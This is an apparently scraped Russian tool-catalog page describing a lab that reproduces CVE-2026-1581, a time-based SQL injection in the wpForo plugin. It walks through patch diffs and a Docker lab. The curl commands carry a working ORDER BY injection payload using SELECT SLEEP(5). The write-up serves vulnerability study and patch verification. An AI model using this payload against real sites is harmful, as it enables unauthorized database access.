Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-1581-analysis-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-1581-analysis-lab

CVE-2026-1581-Analysis-Lab

Воспроизводит CVE-2026-1581 — неаутентифицированную time-based SQL-инъекцию в wpForo Forum <=2.4.14, с Docker-лабораторией и PoC для демонстрации уязвимости и проверки патча.

Репозиторий
16 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-1581 — wpForo Forum (<= 2.4.14) Неаутентифицированная Time-Based SQL-инъекция (ORDER BY)

ภาษาไทย


Краткое резюме

ПолеДетали
ID CVECVE-2026-1581
ПлагинwpForo Forum
Затронутые версии<= 2.4.14
Исправленная версия2.4.15
Тип уязвимостиНеаутентифицированная Time-Based SQL-инъекция (ORDER BY)
Оценка CVSS7.5 (Высокая)
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE-2026-1581 — это неаутентифицированная Time-Based SQL-инъекция в плагине wpForo Forum (<= 2.4.14). Параметр wpfob используется в выражении ORDER BY с применением только текстовой санитизации, что позволяет неаутентифицированному злоумышленнику внедрять произвольные SQL-выражения и читать данные из базы данных.

  • Вендор исправил эту проблему в версии 2.4.15, заменив sanitize_text_field() на wpforo_sanitize_orderby(), который применяет контекстно-зависимый белый список.


Область применения и безопасность

  • Запускать только на localhost + Docker Compose.

  • PoC представляет собой time-based доказательство задержки для демонстрации разницы между уязвимой и исправленной версиями.

  • Не использовать против любых систем без явного разрешения.


Доказательства вкратце

  • Доказательство версии: Страница /community/ загружает /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (уязвимая) против 2.4.15 (исправленная).

  • Доказательство кода: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

  • Доказательство поведения: wpfob=modified,(SELECT SLEEP(5)) вызывает задержку ~5 секунд на уязвимой версии; исправленная версия отвечает почти без задержки.


Что я обнаружил в CVE-бюллетене

  • В CVE-бюллетене указано только, что это time-based SQL-инъекция через параметр wpfob, исправленная в версии 2.4.15. На момент анализа публичного PoC не было.

  • Поэтому этот отчёт был построен на основе сравнения исходного кода между версиями 2.4.14 и 2.4.15, отслеживания пути параметра от HTTP-ввода через санитизацию до точки его использования при формировании SQL-запроса — чтобы понять первопричину и воспроизвести проблему.

vulnx CVE-2026-1581


1) Анализ на основе исходного кода

1.1 Поиск wpfob

Начав с поиска wpfob в исходном коде, было обнаружено, что страница Recent берёт значение напрямую из параметра GET и присваивает его аргументу orderby.

find wpfob

Уязвимая версия (2.4.14) — themes/classic/recent.php:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

Исправленная версия (2.4.15) — тот же файл, санитизатор заменён:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

Почему именно recent.php? Потому что это доступный маршрут, где wpfob напрямую присваивается $args['orderby'].


1.2 Поток данных к SQL: ORDER BY ...

После установки $args['orderby'] он попадает в конструктор запросов wpForo для формирования выражения ORDER BY.

Конкатенация ORDER BY (уязвимая версия 2.4.14)

classes/Topics.php:

SQL builder: ORDER BY concatenation in Topics.php

classes/Posts.php:

SQL builder: ORDER BY concatenation in Posts.php

Пояснение

  • sanitize_text_field() только удаляет/очищает строку — он не применяет белый список допустимых имён столбцов.
  • Поскольку orderby конкатенируется напрямую в ORDER BY <orderby>, злоумышленник может внедрять произвольные SQL-выражения в позицию ORDER BY.

Ссылка: https://developer.wordpress.org/reference/functions/sanitize_text_field/


1.3 Патч / Основные изменения (2.4.14 → 2.4.15)

1.3.1 Diff: recent.php

root@kitploit:~
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.2 Diff: wpforo.php

root@kitploit:~
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.3 Новая функция патча: wpforo_sanitize_orderby()

Версия 2.4.15 вводит контекстно-зависимый белый список санитизатора, который возвращает значение по умолчанию, если входные данные отсутствуют в разрешённом списке:

whitelistor


2) Дизайн лаборатории (Уязвимая vs Исправленная)

2.1 Сервисы в Docker Compose

  • wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081
  • wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082
  • db_vuln / db_patched (MariaDB)
  • seed_vuln / seed_patched — использует wp-cli для установки WordPress, установки плагина, создания страницы /community/ с шорткодом [wpforo], настройки постоянных ссылок, генерации .htaccess и создания артефактов проверки.

2.2 Тестовый маршрут

Из чтения исходного кода wpfob явно используется на странице recent:

  • http://localhost:8081/community/recent/?view=opened
  • http://localhost:8082/community/recent/?view=opened

3) Воспроизведение: Доказательство задержки

Перед тестированием должна существовать как минимум 1 тема и 1 сообщение.

3.1 Почему "требуются сообщения"

  • Это уязвимость инъекции в ORDER BY.
  • Если в wpForo нет тем или сообщений, запрос может вернуть 0 строк — в этом случае сортировка на стороне БД не выполняется, путь кода может не вычислять выражение ORDER BY, и задержка не наблюдается — ложный отрицательный результат.

Требуется как минимум 1 тема и 1 сообщение.

3.2 Базовое время отклика

root@kitploit:~
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"

baseline

3.3 Время атаки

root@kitploit:~
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

Ожидаемый результат

  • Уязвимая: attack_vuln ≈ baseline_vuln + ~5s
  • Исправленная: attack_patched ≈ базовое время (без задержки)

3.4 Результаты

result


Runbook — Как построить лабораторию и использовать PoC (CVE-2026-1581)

1) Построение лаборатории (Уязвимая vs Исправленная)

1.1 Предварительные требования

  • Docker Desktop + Docker Compose v2
  • Доступные порты: 8081 (уязвимая), 8082 (исправленная)

1.2 Необходимые файлы

  • docker-compose.yml
  • scripts/seed-wp.sh

1.3 Запуск лаборатории

Из папки проекта:

root@kitploit:~
docker compose up -d

1.4 Проверка

Убедитесь, что оба экземпляра доступны:

  • Уязвимая: http://localhost:8081/community/
  • Исправленная: http://localhost:8082/community/

И страница recent:

  • Уязвимая: http://localhost:8081/community/recent/?view=opened
  • Исправленная: http://localhost:8082/community/recent/?view=opened

vuln home page vuln community page vuln recent page

1.5 Добавление тем / сообщений через wp-cli (только для лаборатории)

Требуется для воспроизводимости и предотвращения ложных отрицательных результатов.

root@kitploit:~
# 1) Проверка количества (уязвимая)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) Вставка 1 темы и 1 сообщения (уязвимая)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'

Для исправленного экземпляра замените seed_vuln на seed_patched.


2) Использование PoC

2.1 Установка зависимостей

Рекомендуется использовать виртуальное окружение:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt

2.2 Запуск PoC

root@kitploit:~
# уязвимая
python3 poc.py http://localhost:8081

# исправленная
python3 poc.py http://localhost:8082

2.3 Вывод PoC

POC


3) Очистка

root@kitploit:~
docker compose down -v

Ссылки

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve
Скачать инструмент